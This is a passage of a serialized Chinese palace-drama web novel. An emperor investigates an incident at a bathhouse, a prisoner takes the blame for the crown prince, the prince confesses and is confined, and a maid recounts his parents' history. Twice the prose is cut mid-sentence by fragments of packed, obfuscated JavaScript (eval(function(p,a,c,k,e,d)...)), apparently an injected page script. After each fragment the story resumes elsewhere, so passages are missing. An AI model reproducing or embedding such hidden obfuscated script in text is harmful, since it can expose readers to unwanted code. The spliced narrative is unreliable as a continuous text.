忆奴应是,提裙要拜,萧恒抬手,“站着回话。” 忆奴喏喏,便立在堂中,双手捏着衣角,低头不敢瞧。 萧恒道:“不用紧张,知道什么就说什么,不知道就说不知道。但我希望你讲的都是真话。” “是。” “听说太子当天给你们分了酒吃。” 忆奴不料他言及此事,答道:“是。” 萧恒从案上拿起一只酒瓶站起来,走到她跟前,问:“是这种酒吗?” 忆奴凑近瓶口闻了闻,“是,殿下赐的梨花酒。” “这酒味薄,女孩子也吃得。”萧恒拧好酒瓶,“手腕给我。” 忆奴不知其意,捋起半寸袖管,将手腕玉钏下拨,向萧恒递去。 萧恒按在她腕脉上,问:“还记得走的哪个门?” 忆奴低声道:“妾吃得有些醉……” 萧恒笑道:“你吃不了那么醉。” 忆奴眼中一震。尝闻天子略通医理,方知他亲自诊脉是为何意。而此刻萧恒仍按在她脉上,对她的脉搏骤然加紧更是一清二楚。 忆奴轻轻呼吸,道:“妾依约记得,推开门有面屏风,屏风后才是汤池。应当是西门。” 萧恒问:“一个人?” 忆奴低低应一声,“一个人。” 萧恒看向她那只玉钏,道:“这玉成色很好。” 忆奴一愣,往纱袖下笼了笼,笑道:“粗鄙之物,陛下见笑了。” 萧恒却对她这回避之举仿若未闻,“我能瞧瞧吗?” 忆奴垂头,还是将玉钏褪下交给他。 萧恒接在手中简单翻看,又交还给她,“保养得很好,你戴得很珍惜。” 忆奴讷讷,不知如何答话。 所幸萧恒没再从这问题上夹缠,“你当夜抵达芙蓉汤池,是在殿门外,还是殿门里听到的声音?” 忆奴略作思索,“殿门里。” “离池子多远的距离?” “约莫两丈……但妾也不敢说定。” 萧恒点头,又问:“你听到的是什么声音?” 忆奴道:“水声。” “不是说话声?” “不是。” “你看见那人的脸了吗?” 忆奴摇头,“他在屏风后。” 萧恒看向她,“也就是说,你不能认定此人就是沈犯。” 忆奴低声道:“妾只隐约瞧了个形状,的确看不分明……” “他在池子里,还是在池子外?” “应当在池子里的。” 萧恒点头,“我知道了,你回去吧。” 待忆奴退出门内,秋童便走上前,道:“这女孩儿扯谎,陛下就这么放她回去?她说只她自己,可她是个乐者,但您从屏风边找到的一小绺剐蹭的丝帛,不是舞女衣裳的花色么?” 萧恒道:“你记不记得前头那个叫妙娘的舞者,她也有一只一模一样的玉钏。两只玉钏里头各刻一句话,合起来是两句诗。” “何以致契阔,绕腕双跳脱。”* 秋童瞠目,“这、这是情诗啊。” 那这一双女子夜深人静潜入此地,竟是为了偷情。 不过转念一想,少人行处,的确是幽会的好所在。 秋童道:“既然在场有三个人,要不要再次提审那妙娘,或许她知道些什么?” “四个人。”萧恒说,“这件事她没有撒谎,那晚还有另一个人,一个男人。” 秋童心中一惊,已听萧恒沉声道:“叫沈犯吧。” *** 我是被人扶进堂来的。 和之前查问不同的是,这次教坊众人俱在,悉数立在堂下等候。我当即明白皇帝之意。 他要一锤定音。 皇帝坐在对面的太师椅里,开门见山:“沈娑婆,你先前的招供是否属实。” 我低头应是。 “没有谎言?” “臣不敢欺君。” 皇帝神色殊无变化,再问道:“你什么时候去的池子?” “亥时不到三刻。” “记得这么清楚。” “是。” “按你最初供述,当夜是醉酒误入芙蓉池。现在有没有别的说法?” 我缓缓摇头。 皇帝声音没有波动,“听闻你吃酒就要发疹,现在身上没有疹子吧。” “是。” “你在欺君。” “……” “宁可欺君,也不愿明言。”皇帝对一旁的大监秋童道:“锻炼吧。” 秋童躬身一揖,当即一挥袖子,堂中侍立的龙武卫当即上前,将我从椅中架起。 我瞧了瞧院中刑凳,心中不免苦笑。 听闻皇帝登基以来,审讯虽则动刑,但若非大奸大恶,很少这样公开惩处。只怕不只是为了警示宫闱之用,多少还是因为事涉太子,叫他微乱心思。 我这竹杖板挨了没多久,又重新趴在原处,换了更厚更重的木杖来。那大杖内举起时,我看见何仙丘的脸。 我和他对视片刻,对他笑了笑。 何仙丘嘴唇抖动时我已经把脸别开,心道命里该遭此劫数,正埋头要受时,突然听见门外有人喊道:“且住!” 我抬头,看见皇帝目光微动,也就知道是谁赶来。 萧玠快步走到庭中,对皇帝拱手弯腰,道:“臣要旁听。” 皇帝问:“你吃药了吗?” 这句问候听上去似乎没把萧玠的义正言辞当回事。萧玠抬起头,脸上的微红比起恼羞更像屈辱。他声音不由拔高一些:“这桩案子先报到臣的手里,按例应由东宫审理。陛下要提审,臣有旁听之权。臣要旁听。” 皇帝却没有丝毫被顶撞的恼怒。我能察觉到,萧玠甚至是刻意要挑起他的怒火来展开冲突,但再次以失败告终。 皇帝只是叫秋童新搬了把椅子在身边,萧玠仍站着不动。 皇帝说:“再不过来,我接着审了。” 萧玠走到皇帝身边坐下。他坐姿僵直,后背离椅子要有半尺,但这又跟皇帝多年军旅生活养成的习惯不谋而合。当他们出现在同一幕画面时,我才惊觉二人在骨不在皮的相肖之处。 皇帝对秋童说:“药给他端过来。” 萧玠站起身,再次抱手,“请陛下以国事为重。” 皇帝看他一眼,转头看向我,问:“太子分完东西,你就去了芙蓉池?” “是。” “东西分完还不到亥时,你一个未醉之人,这么一段路能走一个时辰,也很是了得。” “臣走的园子那条路,在园里转了转。” “做了什么?” “臣遇到一个人在弹琵琶。”我说,“臣一时技痒,相和一曲。” “是个什么人?” “瞧不分明。” 皇帝说:“按你最初供述,你是在路上捡到太子的铜钱。” 我道:“园子的路里。” 我语中所指明了,皇帝却没有向萧玠求证,而是截然论断:“你有意接近太子。” 我低头道:“殿下千金之躯,臣岂敢。” “陛下,”萧玠打断,“这与案情无关。” 皇太子截断皇帝鞫讯,显然叫满堂人浑身一颤,皇帝却毫无怒色,点点头道:“那我说点有关的。” “忆奴供述里听到水声,也认清人是在屏风后头。我到那边瞧了,那屏风不过三尺高,人若站在岸上脸遮不着。这个人是在池子里的。沈娑婆亥时不至三刻入池,又过两刻回房,据他同屋众人所讲,他的衣衫干着。沈犯,你不要告诉我,这样的春寒天,你从头到脚两刻就干透了。” 我默然不语。 皇帝把一本册子往萧玠身边一放,道:“据旁人所述,他在子时回房前还回过一次,约莫亥时二刻,取走一套干净衣裳。上下我都查问过,当夜没人不归,也没有穿湿衣回屋的人。” 皇帝的目光里终于出现点不一样的东西,“汤池里的人是谁,你们对太子有什么图谋。” 我浑身一震。 是杀心。 甚至不是天子一怒,是一个父亲刀一样的杀心。 我双手撑着刑凳,扣紧凳面的指甲发白。 赌一把。我想。 我深深呼吸,头压上凳面,“臣……无话可说。” 皇帝并没有想象中的暴怒如雷,他眼里甚至看不到我,抬手敲敲桌案。 两旁龙武卫当即将我叉起拖走。我身体离凳的瞬间,突然听到萧玠叫道:“等等。” 他从椅中站起来。 萧玠直视皇帝双眼,说:“那日在芙蓉池子里的,是我。” *** 天色彻底暗下去,天子一道急诏,教坊众人闭户。太子居处门已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这一声听上去很不信任,这种“怀疑”突然把萧玠点着了,一口气堵在胸口,和八年的怨望痛苦一起迸发出来。他丢开琵琶,头一次不顾礼数地大声叫道:“我就是去了!我就是去窥探娘子池子。我不知廉耻,荒废礼义;我帏箔不修,祸乱宫闱!今日的桩桩件件,陛下圣明独断,不早就动若观火了吗?身体发肤受之父母,君要臣死臣不得不死,陛下要杀要剐,臣不敢怨言,只是陛下何故如此戏弄,非要臣在人前尽失颜面?” 萧恒半晌才说得出话:“你的意思是,我今天特意设了这个套子,就是要你主动认罪?” 萧玠喉中隐有痒意,强行按捺下去,“不是吗?陛下眼不容沙,铁面无私,一旦得知臣逃脱法外,不会让臣公然认罪吗?陛下连沈郎折道取衣这种微末小事都查得清楚,看他对臣无端维护,真的没有想到他顶替的是臣吗?还是陛下早已想到,专门拿锻炼沈郎一事敲打臣,就等臣自己当众认罪?啊,陛下这样大公无私,自然一视同仁,王子犯法如同庶子,正好拿臣做你新法推行的标榜……” 萧恒厉声喝道:“萧玠!” 他平复一下气息,沉声问:“你认这个错,很委屈?” 萧玠脸色瞬间惨白。 萧恒道:“你有没有隐衷先不论,但以男窥女在宫中是什么样的罪名,沈娑婆又是做什么营生,这罪责他这辈子担不担得起,你知不知道?我今日若真打死了他,他的一条命你来赔吗?” 萧玠浑身颤抖起来。 萧恒脸上终于流露出疲惫之意,“阿玠,阿爹对你没什么要求,阿爹只希望你做个正直的人。” 萧玠头垂得很低,低到萧恒看不见他的脸。许久,方听萧玠道:“臣知罪……是臣行差踏错,辜负了你们的教诲。是我放任沈郎顶罪,我是个懦夫、是个小人,我没脸见你,我怎么有脸再见你……” 他抬头,萧恒发现他已经满面泪痕。萧玠却笑了笑:“其实臣刚刚说的是气话……臣心里很感激陛下。自从出了这桩事,臣日日夜夜担惊受怕,只怕处理无端,连累沈郎做不得人;又怕陛下知道……对臣彻底失望。如今尘埃落定,恶有恶报,臣这颗心终于能放下,臣终于能睡个好觉了。” 萧恒嘴唇微动,萧玠已轻轻说道:“有臣这么个卑劣无耻的儿子,陛下一定很丢脸……很后悔吧。后悔怎么养出这么一个孽障,后悔臣怎么没去南边,后悔……为什么要把臣生下来?” 萧恒浑身一震,“你……” 萧玠一个头磕在地上,低声喊道:“臣德行有亏,有辱社稷,伏请陛下……废掉我吧!” 10. 第 10 章 萧恒当然没有废黜萧玠。 萧恒当夜问的最后一个问题是:“你宁愿这么逼我,也不愿意告诉我发生了什么事吗?” 他的语气过于苍凉,萧玠伏在地上,不敢去看父亲的脸。这让他想起再早一些,双亲的关系急转直下,陷入冷漠、质问和争吵的循环。行宫某夜里,萧玠在门外听到秦灼的诛心之语前,正听见萧恒用这样的口气问他:你到底想要我怎么样呢? 萧玠头抵在地上,不发一言。 面前没有声音,许久,响起萧恒迟重的脚步声。 翌日午时,含元殿上传来圣旨,太子失德,责令禁足行宫,无诏不得出。 朝野人心惶惶,行宫中也流言四起。萧玠一个人坐在园子里,便听池边树荫下有人窃窃私语:“宫门真的落钥了,还专门拨了禁军来把守,若只是小事哪里动用这样大的阵仗……陛下难道真的要废储了?” “东宫这事虽然传出去不好看,但只为这事,似乎不至于吧……肃帝爷那时候永王闹成什么样,当爹的还要费尽心力保他呢。” “你还没听说陛下那个人?极其刚正不阿,只怕正恨铁不成钢呢。都说龙生龙凤生凤,陛下连后宫都闭了,恭让皇后之后不沾半个女色,怎么太子便教养成这个样子?” “只怕他生娘当年也是如此,不知使了什么手段爬了陛下的床铺,妄图一步登天……” “啊呀,你怎么敢讲这桩事!” “说说又怎么,旁下没人听见……” 萧玠静静听了一会,没做什么表示。等人声渐远,他一个人看了会林子,也就起身走了。 等他走回屋里,阿子已里外找了他几遍,见他来,匆忙迎上去,撑出笑脸,“殿下往哪里去了,昨夜刮了北风,殿下也不多穿件衣裳。” 萧玠替他擦了擦脸,说:“阿子,你不要哭,纵然我真出什么事,也得保你们周全的。” 阿子张了张嘴,萧玠已笑着拍拍他的肩,说:“出去冲了风,嗓子有些紧,你帮我煎药吧,还有郑二郎拿来的膏子,我也吃一点。” 阿子知他心烦,不敢再吵他,忙退去旁边的耳房煎药。药还没开,便听有足音响起,有人轻声问:“小内官。” 阿子探头,正瞧见一张明艳面庞。 正是指证沈娑婆的忆奴。 她身后还立着另一个女孩,两人妆扮不一,但披着相近花色的帔子。忆奴姿容艳丽,那女孩较为清秀,怯怯问:“是我们僭越,但想请问内官,能否拜见千岁殿下?” 阿子有些意外。萧玠这桩事闹出来,虽然众人明面依旧毕恭毕敬,心底到底生了鄙薄之意。尤其是一众娘子,但凡有些清高的都避之不及,如今萧玠又被禁足行宫,就算有的想投其所好,也不敢把身家押在一个前途未明的太子身上。 忆奴忙道:“内官放心,我们只是想见见殿下,不敢多说多问什么事。” 阿子瞧药还有些时候,便站起身,“殿下在屋里,二位随我来。” 他领人到屋外,敲了敲门,又叫了几声,均无人应答。想到萧玠今日神色,心狂跳起来,顾不得规矩忙推门进去。脚刚要跨入,便硬生生僵在半空。 门槛前,掉着一把沾血的小刀。 阿子几乎魂飞魄散,拔腿就往内室跑。他一头冲进去,见案上香烟袅袅,光明神大像垂目而立,像前跪着萧玠,膝头放着一卷经文,手中笔还未放下。 萧玠也惊了一跳,问:“怎么了?” 他瞧瞧阿子脸色,又瞧见那把小刀,解释道:“我想削个果子吃,把手削破了。便想起这几日没有抄《明王经》,正好用血入墨,先写一篇。” 萧玠说着看见后面两个姑娘,微微一愣。忆奴已举步上前,对萧玠微微一福,“妾教坊司乐者忆奴,同舞者妙娘,拜问殿下金安。” 萧玠对阿子道:“你先回去吧,我和她们说会话。” 阿子领命退下。 萧玠从地上起身,甫将经文放在香案旁,二人已双双跪下。妙娘道:“妾等谢殿下抬手之恩。” 萧玠忙扶她们,“我并没有做什么事。” 他此话一出,妙娘便知他已清楚自己语中所指,道:“不论如何,殿下没有将妾等揭破,就是妾的恩人。” 萧玠笑道:“我这样一个登徒子,娘子错谢。” 妙娘抬头看他,“殿下若真是好色之辈,就该拿我二人私隐叫我们屈身服侍了。再说,殿下身边连一个宫女都没有,妾没有见过这样的登徒子……殿下受委屈了。” 萧玠静静看她一会,道:“我知道娘子的来意。” 他笑了笑:“我并不知当夜另一人是谁,娘子一同来见我,是把自己最紧要的私隐交给我。娘子想告诉我,你相信我不是那样的人。” 他默了一会,说:“我心里很感激。” 妙娘看一眼忆奴,僭越礼制地直视萧玠,“妾相信清者自清。” 萧玠笑道:“还是等陛下圣明裁断吧。” 忆奴从袖中取出一部经文,双手奉上,道:“殿下大恩,妾等无以为报。妾知殿下信奉光明宗,妾便茹素多日,抄了一本明王经。万望殿下笑纳。” 萧玠接过,见其中篆字方正,对一个乐者来说定然下了不少功夫。又听忆奴道:“妾刚刚听闻殿下要以血抄经,只是损伤玉体,大为不益。殿下若不嫌妾微贱,先看这一本吧。” 萧玠道:“承蒙厚礼,我不胜欣喜。多谢娘子的心意,我必日日诵读。” 他将经文放到神龛前,回头正见两个女孩双手交握。腕上玉钏相依,像一条盘结的绳索。 萧玠问:“你们以后有什么打算?” 忆奴答道:“妾等预备先挣前程,等钱财攒够,便出去一块赁屋子住。” 萧玠问:“不再婚嫁吗?” 妙娘轻轻摇头,忆奴握紧她的手。 忆奴道:“妾现在是想,到时候一定要布置的。虽不能一块建户,但旁人有的,妾也不想叫她少。她还喜欢小孩子。” 妙娘红了脸,轻轻拉她衣袖。萧玠看在眼中,只说:“那你们一定要对他好。不管以后两个人怎么样,都要对他好。” 忆奴道:“殿下放心。” 此话毕,室内一时沉默。萧玠到底没面对过女孩子,也不知再讲些什么不会冒犯,便听妙娘轻轻道:“妾听闻殿下崇尚秦宗,近日正习了秦地的梧风舞,可以请殿下一观吗?” 醉心女乐的声名只会叫萧玠的处境更加难堪,但南秦信息传来一瞬,萧玠的嘴巴已先于理智说:“好。” 行宫重门紧闭,画地为牢的太子居处里,响起箜篌之音。 妙娘是个腼腆的女孩,但舞蹈时,她的光辉宛如昙花绽放。忆奴指下箜篌作响,和妙娘的舞步全然合契。妙娘如飞则乐声如飞,妙娘如水则乐声如水,妙娘如一轮秋月沉落,乐声如满地月光倾委。自始至终,她们没有一瞬对视,但她们的心灵却借助音乐和舞蹈难舍难分。 无可厚非,这也成为萧玠爱情模式的最初启蒙。对知音的追求一度占据了他早期情感生活的很大部分。 萧玠不住拊掌,含笑道:“你们真的很要好。” 舞蹈结束,妙娘又变成那个羞涩的女孩。反倒是忆奴笑道:“妾两个这样的,打定在一块,连名分名声都不要。哪能不要好呢。” 萧玠怔然。 他浑然不知二人如何告退,阿子进来讲些什么,自己又如何饮药。只觉得天灵一震,混混沌沌地合衣躺下。这样朦胧睡了一会,便觉有人替自己脱鞋去衣,低声嘱咐什么,又将手炉给自己掖到被里。 那人问:“殿下的药有没有再添?在宫里的那个方子该换了。” 似乎是阿子道:“全按您的吩咐准备的,您放心就是。” 那人又问:“近日有没有咳?我听说又伤了后背。” 阿子答道:“咳嗽还是老样子,背上的伤陛下给看过,说是皮肉伤,也有敷药,您别担心。” 萧玠睁开眼睛,静静看她一会,轻声叫:“姑姑。” 阿双转过身,这动作在萧玠眼中出现过无数次。不知不觉间,她的青春容貌回头,已经变成如今妇人的愁容。 阿双一见他醒来,眼睛便有些红。萧玠笑道:“从前说好了,不管我什么样,姑姑都不许哭的。” 阿双答应一声:“是,说好了。” 阿子已蹑步退下。室中寂静,萧玠一颗心却平和下来。阿双坐在他身边,一只手轻轻拍打他,道:“我瞧瞧背上的伤。” 萧玠道:“现在脱衣要受凉。” 阿双捏着他手心,视线落在他腕上,叹道:“殿下,你犟什么呢?” 萧玠垂眼,“姑姑也来做说客吗?” 阿双道:“姑姑谁的说客都不做,姑姑只是来看看殿下。出宫前千万保证照顾自己,如今把自己照顾成什么样子了?” 萧玠道:“我很好的。”静了静,又问:“陛下说要怎么处置我了吗?” 阿双摇头,“只叫闭门改过,旁的没有再论。” 萧玠在枕上伏了一会,披衣坐起来。阿双要扶他,他便贴近她轻声道:“姑姑,我榻边那只奁匣里有一点钱,都是从小到大的压岁钱。还有小时候阿耶给的一些玩意,都要值钱一些。你带在身上,趁着还没出事,辞宫回家吧。” 阿双急声道:“殿下!” 萧玠声音微紧:“你同阿子他们不一样,你是阿耶留下的人。现在我还是太子,他不会对你怎么样。你快走呀,再晚来不及了!” 阿双握住他的手,轻声问:“殿下,你觉得陛下会发落你吗?” 萧玠看她一会,把眼睛低下去。 烛光微微,萧玠灯下神态叫阿双想起故人。阿双轻轻呼吸几下,哑声道:“妾不想替他说好话,但他对殿下的心妾看在眼里。责令殿下闭门,是他在保全殿下。” 她将萧玠的头发理到背后,说:“这件事情陛下本是按死在行宫里,谁料今日竟叫人捅上了朝。百官竞相逼迫,以此攻讦新法。陛下从来公正无私,他们就非要陛下拿殿下开刀。陛下把殿下关在这边,在他们眼中就有了废储的意思,但他们又不敢让陛下废储。陛下若废储,不正好有了废除皇位继承的由头?陛下是走这一步险棋,迫他们往后退步,先把殿下从风波里摘出来。这些事连妾一深宫妇人都想得过来,殿下何其聪慧,心中还不明白?” 见萧玠不语,阿双叹道:“这些日,妾听了一些事情原委,也听明白了。陛下不是要逼殿下认罪,他只是没想到,当日在那里的是殿下。殿下是他亲手带大的,品性德行当爹的最清楚不过。他见沈郎言辞闪烁,又拿着光明钱,只以为他勾结旁人要对你动什么手脚,他心底怕。” 萧玠仍一动不动,没有别的表示。 阿双想起他离宫前父子一场不欢而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他声音低下去:“可如果这样,阿爹就好可怜,他废了我又能立谁呢?天底下又有谁和他最亲呢?……但或许废掉我,他就终于能娶新的妻子,有新的孩子了吧。” 阿双轻轻吸一口气,看萧玠冲她笑了笑,抬手擦干脸颊,“我心里清楚,阿爹……他真的很不容易。他该找一个真正心爱的人,给他生他真正心爱的骨肉。而不是看着我,就想起当年,为了利益交换在感情上忍辱含垢。他那么忌惮阿耶,还要容忍阿耶枕畔酣睡,容忍阿耶染指军权、踏足后宫,我的出生、我的太子之位是不是也是他们的约定之一?” 他看着阿双嚅动的嘴唇,轻轻道:“我记得的,那段日子,他过得很痛苦。” 灯火彻底暗下去,但没熄。阿双的掌心仍拢着他的手指,一直没松开。 不知过了多久,萧玠听阿双忽然道:“妾从前心爱一个人。他是与南秦大政君最为亲爱之人。” 阿双笑了笑:“现在想想,那时候年纪还小,身陷囹圄,他把妾救了出来。那不是妾和他第一次见面,但是很多年后的第一次见面。妾瞧着他的脸,一颗心扑通扑通地跳,又不敢常常和他对视,连眼神都要躲闪。后来妾才知道,那就是心动。” 萧玠了然。 他听闻阿双陷于长安时,曾与陈子元同住两年。约莫那时候起,便暗生了情意。 阿双似乎沉浸在回忆里,声音平和,像看到自己的少女岁月,“但妾只是心爱他,只想陪着他,瞧着他和他的心上人好好在一块,妾就心满意足了。殿下想不到,他们真是一双冤家。两个都是极其的精明利落,最初明明是利益聚散,往后却生生死死、缠脱不开了。他们两个那段日子,连妾一个外人看在眼里都着急。一个嘴不饶人,如何都不肯认自己的一片心意;一个自视甚低,只觉自己在人家那边没有分毫容身之处……” 萧玠静静听着,合情合理里总觉有些不对。秦温吉的确一张刀子嘴,陈子元却是开朗通透至极,不像这般患得患失之人。 思索间,阿双已继续道:“后来……他们差点经历一场死别。生死跟前,妾的心上人终于认清了自己的心,只要那个人活过来,他什么都依从。后来那人活过来,他就缴械投降了。他们的出身千差万别,想法更是天悬地殊,可他们还是在一块,这么在一块好多年。后来他们一块站到最高的位置,他们结发合卺、共拜天地,再后来……” 阿双看着他,“他们有了你。” 萧玠嘴唇颤抖起来。 阿双笑了笑,泪却落下,“妾还记得大公怀着殿下的时候,非要吃橙子,但北地冬天不结果,陛下就亲手养了一盆,专门烧了炭盆来暖那一小株橙子树。殿下没出生时,陛下就做了好些玩意,草扎的兔子、蟋蟀,陛下还给殿下做了只走马灯。殿下小时候爱玩,大公怕殿下弄坏,只叫高高地挂着。还有,殿下本来要跟大公姓秦的,只是殿下出生时陛下出了好大的事故,大公想给陛下留个嗣,并不是故意舍开殿下。册封殿下前一夜,妾给殿下整理要用的新襁褓,见大公早早搂着殿下睡了,陛下就守在熏笼前熨大公第二天要穿的衮服,熨得一条褶子都没有。” 话到此处,阿双终于哽咽:“殿下,妾不懂文字,但也知道夫妇之间不止有爱,更要有恩。或许如今他们已成怨侣,但那些年,殿下的阿爹和阿耶,是妾所见过最最恩爱之人。对于殿下的降生,他们或许意外,但绝不憎恨,他们满心欢喜地迎接你的到来。殿下不是被双亲仇恨的孩子,是在他们的盼望里出生的孩子。殿下是他们心中头一位的人。” 灯焰跳了一跳,像一颗缝合的心。 萧玠低下身,脸颊合在手掌里。阿双将他搂在怀中,缓缓摩挲他后背。像许多年前的一个夜晚,摩挲一个手握耳珰失声痛哭的人。 11. 第 11 章 阿双离去当夜,行宫角门再开。 秋童走进阁子时,萧玠正抱着膝盖愣神。 秋童心中一涩,正要开口唤他。萧玠已发觉他到,抬眼笑道:“秋翁夤夜而来,想必带了陛下的旨意。” “没有旨意。” 秋童叹口气,从一旁阿子手中取过东西。 一件海龙皮大氅。 秋童双手捧过,托到萧玠面前,“春夜寒,陛下瞧殿下带的衣裳都单薄,便叫奴婢把这件氅衣给殿下带过来。” 萧玠垂眼道:“天子冠服,臣岂敢僭越。” 秋童看着他,“陛下知道殿下要推拒,说,这件衣裳是当年在潮州的时候,双娘受托付做给他的。真论起来,比殿下还要大呢。” 萧玠一愣,将大氅接在怀中。 这衣裳萧恒穿得很仔细,十数年下来不过半旧而已。萧玠抚摸风毛,只觉喉间发紧,“陛下还有什么话吗?” 秋童转身,又从阿子那边取过一物,道:“陛下叫奴婢把这个交给殿下。” 他手中,一只走马灯笼徐徐转动。 像转着他的前半生。 …… 摇篮边萧恒点燃走马灯,两个人守着萧玠过年。 病榻前秦灼把灯熄灭,冰凉的手指抚摸萧玠冰凉的脸。 三岁的萧玠抱着萧恒大腿摇晃,喊阿爹阿爹,臣要玩灯笼。 十三岁的萧玠看着递来的灯笼,说陛下,臣已经过了玩物丧志的时候。 奉皇四年的灯笼下,秦灼低声含笑,我可是将东宫的大门锁了。 萧恒扶好灯轻声道,你开了窗户。 奉皇六年的灯笼倒地,秦灼一个碗盏砸落它时也砸破了萧恒的脸。 萧恒蹲身收拾瓷片,说阿玠睡了,你别这样。有事咱们回去讲。 四岁蒙头装睡的萧玠拉开被角,六岁赤足而立的萧玠重新上床。 六岁那年萧恒秦灼势同水火,四岁那年秦灼萧恒形如漆胶。 秦灼歪倒在萧恒怀里,掩面哭道,怎么办萧重光,我怎么办。 萧恒在秦灼唇畔抬起脸,轻声说,我也是,少卿,我很想你。 …… 萧玠接过那盏走马灯。 手指包拢灯竿的一瞬,萧玠突然看到,似乎也是在这间屋子里,一只戴扳指的手将它握在掌心。 更加年轻的秦灼笑道,陛下,拿这玩意给你儿子做耍子? 萧恒一只手合在他腹上,看着灯说,生、老、病、死。 谁都逃不过。 *** 秋童回宫复旨时萧恒还在批折子,见他来才略微停笔,问:“东西都收下了?” “都收下了。” “瞧着他还好吗?缺不缺什么?” “双娘陪了殿下一会,奴婢到时甫回去,殿下情绪还算稳定。”秋童道,“殿下有句话要捎给陛下。” 萧恒抬头看他。 “殿下说,他想吃橙子。” 萧恒一怔,扭头看向殿角,那盆橙子枝叶凋零,半死不活。 秋童正要询问要不要换土养根,门外已有内侍通禀:“陛下,杨娘子到了。” 萧恒眼中情绪霎时淡去,问道:“哪个杨娘子?” 内侍道:“郑素将军的妻妹,温国公家的杨二娘子,说是杨刺史生前给外甥下聘添的礼已送到。刺史未能面圣,如今遗物已到,望请陛下一观。” 萧恒起身,道:“请她进来。” 这位杨二娘子自从奉皇五年宫乱平息后便带发修行,至今未嫁,除了观音寺和青龙山,她很少离开家门。 秋童退出殿门时,正和杨观音打了照面。 八年岁月尚未在她脸上显现痕迹,却沉淀出一股庄重的韵致。她少女灵动的美丽已变成女人沉静的美丽。当她的美丽展现在萧恒眼前时,萧恒却看向她身后。 她身后,抬进来一口檀木大箱。 箱笼落地时杨观音向萧恒一礼,道:“妾将礼物给陛下带来了。” *** 萧玠在禁足第三日听到杨峥死而复生的消息。 天子在含元殿上开启箱笼,大变出一个丰州刺史杨士嵘。 杨峥是亲历过诸公之乱之人,李寒之死也给萧恒带来太过惨痛的教训:哪怕万人之上,也抵挡不了世族杀人灭口的疯狂。当皇帝诏令地方官述职的旨意下达时,杨峥当即派官轿走官道进京,同时藏进一口箱子,作为给外甥下聘的添礼返还长安。 这也是他在最后一封书信里和萧恒议定的返京之途。 而杨峥上朝的第一件事,就是交上了一份足有五十余人的地方贪贿官吏名单。 朝野上下,莫不震动。 这消息传来时,萧玠正坐在房中抄经,静静听完后没有过多表示,继续对一旁的何仙丘道:“我位在东府,不好言论朝政,还是再说咱们的事——还望判官尽快将行宫的进出簿子和人员造册给我送过来。近十日以来,各人出去都是为什么事由,我相信判官也能问个清楚。” 何仙丘忙道:“不知殿下要这些东西派什么用处。” 萧玠抬笔舔墨,笑道:“我吩咐,判官就去做。” 何仙丘道:“是,只是从前也没这个章程……” “判官不用拿合不合律搪塞我,几本不涉机要的册子我还是有权察看的。”萧玠抬头看他,脸上笑意未褪,“我虽禁足,陛下尚未废储。何判官,你已经不是第一次违逆我了。” 他身骨娇弱,平日又和气,在何仙丘眼里不过天子荫下的一株病秧。直到这一刻,他才发现这秧苗竟已生出雪凌凌的枝节来。 萧玠虽体弱,却不是任人拿捏之辈。 何仙丘退下后,萧玠继续抄那本《明王》,尽用秦篆,很不好写。等阿子拿着册子,他才将手头一篇抄完,搁开笔道:“你知道开门落钥的时辰,也清楚宫人日常出宫的事由,一块帮我看看,有什么不妥当的地方。” 阿子应一声,疑惑道:“殿下,咱们瞧这个干什么?” “查人。”萧玠叫他搬个杌子坐下,“行宫有内鬼。” 阿子大骇道:“内鬼?” 萧玠徐徐颔首,“我这两天和陛下怄气,里头事情没有细想。说到底,陛下只有我这一个儿子,我有隐衷未诉,陛下绝不会叫这件事传扬出去。可不过短短几日,这件事已经闹到朝堂上,还逼得陛下不得不将我禁在行宫。若没有里应外合,何至于此?” 阿子深吸口气:“殿下,此处更不能待,咱们得禀报陛下,快些接您回去呀!” 萧玠道:“我不走。” 阿子急道:“殿下!” “我得把人找出来。”萧玠沉声说,“陛下保下我,显然不是大臣们乐见的。他们没能得逞,很可能要再有行动。我现在一走,这个人就揪不出来了。这件事因我而起,我不料理清楚,没脸去见陛下。” 阿子试探:“殿下的意思是,朝中有人拿此事作伐?” 萧玠默而不答。 阿子抿了会嘴,闷闷道:“奴婢其实不大明白。这些大臣但凡要跟陛下抬杠,总要抬出殿下来和陛下吵架,说陛下一意孤行,从不为殿下考虑,陛下这么下去,是把日后的殿下做成个傀儡壳子。可没过几天,他们又要弹压殿下来压制陛下,就想看陛下为了殿下朝他们低头让步。他们护着殿下又欺负殿下,奴婢愚笨,实在看不懂是个什么道理。” 萧玠冲他笑了笑:“何止你,这些事,我也不明白。” 他视线落在《明王》的封皮上,侧边早在入他手之前,已被翻得微微发毛。他轻声说:“阿子,陛下身体并不好的。这些年他瞒我,我知道。我已经叫他很难做了。你相信吗?其实我并没有那么怨怼陛下。很多时候,比起怨气,我更希望他好好的。” 日光入窗,明王经字迹如金。萧玠双手将经书放远,取过出入册子,温声道:“好啦,你也不要担心。我到底是太子,他们不敢真对我做出什么事。当今之际是早些将此人揪出来,事态平定,我才能好过一些。” 阿子愁道:“可殿下,咱们又不熟悉行宫中人,更不晓得他们有没有自己不成文的规矩,这么一个一个对,可不是大海捞针吗。” 萧玠问:“给沈郎炖的药转送过去了吗?” 萧玠虽被禁足,人员也限出不限入,但吃用到底无人敢短,太医和汤药更不例外。 阿子道:“奴婢不能出门,托何判官送去的,这一会应当吃完了。” 萧玠点头,不再多问。 不多时,院外突然响起门锁开启的声音。阿子只以为有什么旨意,忙迎向门口,却看到一个意料之外的人。 萧玠已走到门边,对那人拱手道:“多谢沈郎肯来见我。” 阶下,沈娑婆盈盈笑道:“那夜的琵琶,殿下还没和臣弹完呢。” *** 得知萧玠邀我前来是为了盘查线人,我有些哭笑不得:“殿下,这没法查。” 萧玠显然没料到我这样讲,神色一怔。 